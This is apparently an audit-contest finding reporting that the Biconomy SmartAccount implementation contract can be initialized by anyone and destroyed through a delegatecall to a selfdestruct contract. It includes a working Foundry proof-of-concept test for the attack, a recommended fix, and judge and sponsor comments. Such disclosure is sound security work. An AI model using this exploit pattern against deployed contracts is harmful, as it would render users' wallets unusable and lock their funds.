SmartAccount implementation can be destroyed by a bad actor

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166

Vulnerability details

The SmartAccount wallet architecture is mainly defined by a Proxy contract that delegates functionality to a common reusable SmartAccount implementation.

The SmartAccountFactory contract has the address of a base SmartAccount implementation (immutable variable _defaultImpl). When a new wallet is created, the factory deploys a new Proxy that points its implementation to this base SmartAccount implementation, and then calls the init function to initialize the wallet (sets owner, sets entrypoint, etc.).

Each Proxy contract that represents a wallet holds its storage state and delegates functionality to a SmartAccount implementation. This implementation contract is shared by all wallets.

Since the SmartAccount implementation is a contract that can be interacted with, a bad actor can initialize it and destroy this common implementation by:

1. Call init on the implementation contract to become the owner of the contract.
2. Using execTransaction, execute a delegatecall to a contract that performs the selfdestruct opcode.

Impact

This security issue affects the functionality of existing wallets, rendering them unusable. The issue is caused by the destruction of the implementation contract code and the inability of the proxy to delegate functionality to the implementation contract.

As a result, owners will lose access to their wallets and any associated funds, as well as any third party integrations that depend on the wallet.

Additionally, the issue will prevent any upgrade functionality, as the upgrade logic is implemented in the same 'SmartAccount' contract using the 'Singleton' mixin and accessed through the 'updateImplementation' function. This means that upgrades will also be unavailable once the implementation contract is destroyed.

PoC

The following test reproduces the issue. An attacker calls init on the implementation contract and executes a delegatecall to a simple contract that does the selfdestruct.

Note that in foundry tests, selfdestruct doesn't take effect until the test finalizes (see here).

contract Destroyable {
    function destroy() external {
        selfdestruct(payable(msg.sender));
    }
}

contract AuditTest is Test {
    bytes32 internal constant ACCOUNT_TX_TYPEHASH = 0xc2595443c361a1f264c73470b9410fd67ac953ebd1a3ae63a2f514f3f014cf07;

    uint256 bobPrivateKey = 0x123;
    uint256 attackerPrivateKey = 0x456;

    address deployer;
    address bob;
    address attacker;
    address entrypoint;
    address handler;

    SmartAccount public implementation;
    SmartAccountFactory public factory;
    MockToken public token;

    function setUp() public {
        deployer = makeAddr("deployer");
        bob = vm.addr(bobPrivateKey);
        attacker = vm.addr(attackerPrivateKey);
        entrypoint = makeAddr("entrypoint");
        handler = makeAddr("handler");

        vm.label(deployer, "deployer");
        vm.label(bob, "bob");
        vm.label(attacker, "attacker");

        vm.startPrank(deployer);
        implementation = new SmartAccount();
        factory = new SmartAccountFactory(address(implementation));
        token = new MockToken();
        vm.stopPrank();
    }
    
    function buildSignature(SmartAccount wallet, Transaction memory _tx, FeeRefund memory refundInfo, uint256 _nonce, uint256 privateKey) internal returns (bytes memory) {
        bytes32 domainSeparator = wallet.domainSeparator();

        bytes32 safeTxHash =
            keccak256(
                abi.encode(
                    ACCOUNT_TX_TYPEHASH,
                    _tx.to,
                    _tx.value,
                    keccak256(_tx.data),
                    _tx.operation,
                    _tx.targetTxGas,
                    refundInfo.baseGas,
                    refundInfo.gasPrice,
                    refundInfo.gasToken,
                    refundInfo.refundReceiver,
                    _nonce
                )
            );

        bytes memory encoded = abi.encodePacked(bytes1(0x19), bytes1(0x01), domainSeparator, safeTxHash);
        bytes32 hash = keccak256(encoded);

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);

        return abi.encodePacked(r, s, v);
    }

    function test_SmartAccount_DestroyImplementation() public {
        vm.prank(bob);
        address proxy = factory.deployWallet(bob, entrypoint, handler);
        SmartAccount wallet = SmartAccount(payable(proxy));

        vm.startPrank(attacker);

        // Attacker initializes implementation to become owner
        implementation.init(attacker, entrypoint, handler);

        // Simple contract that implements selfdestruct
        Destroyable destroyable = new Destroyable();

        // Attacker now sends a transaction (delegatecall) to the destroyable contract
        Transaction memory tx = Transaction(
            address(destroyable), // to
            0, //value,
            abi.encodeWithSelector(Destroyable.destroy.selector), //data
            Enum.Operation.DelegateCall, // operation
            0 //targetTxGas
        );
        FeeRefund memory feeRefund = FeeRefund(
            0, // uint256 baseGas;
            0, // uint256 gasPrice; //gasPrice or tokenGasPrice
            0, // uint256 tokenGasPriceFactor;
            address(0), // address gasToken;
            payable(0) // address payable refundReceiver;
        );
        uint256 batchId = 0;

        bytes memory signature = buildSignature(implementation, tx, feeRefund, 0, attackerPrivateKey);

        // This desroys the implementation contract
        implementation.execTransaction(tx, batchId, feeRefund, signature);

        vm.stopPrank();
    }
}

Recommendation

Add a constructor to the SmartAccount contract that calls OpenZeppelin _disableInitializers() helper. This will disable any initializer in the implementation contract and prevent the init function (or any other initializer) from being called.

constructor() {
    _disableInitializers();
}

[c4-judge]

gzeon-c4 marked the issue as duplicate of #496

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory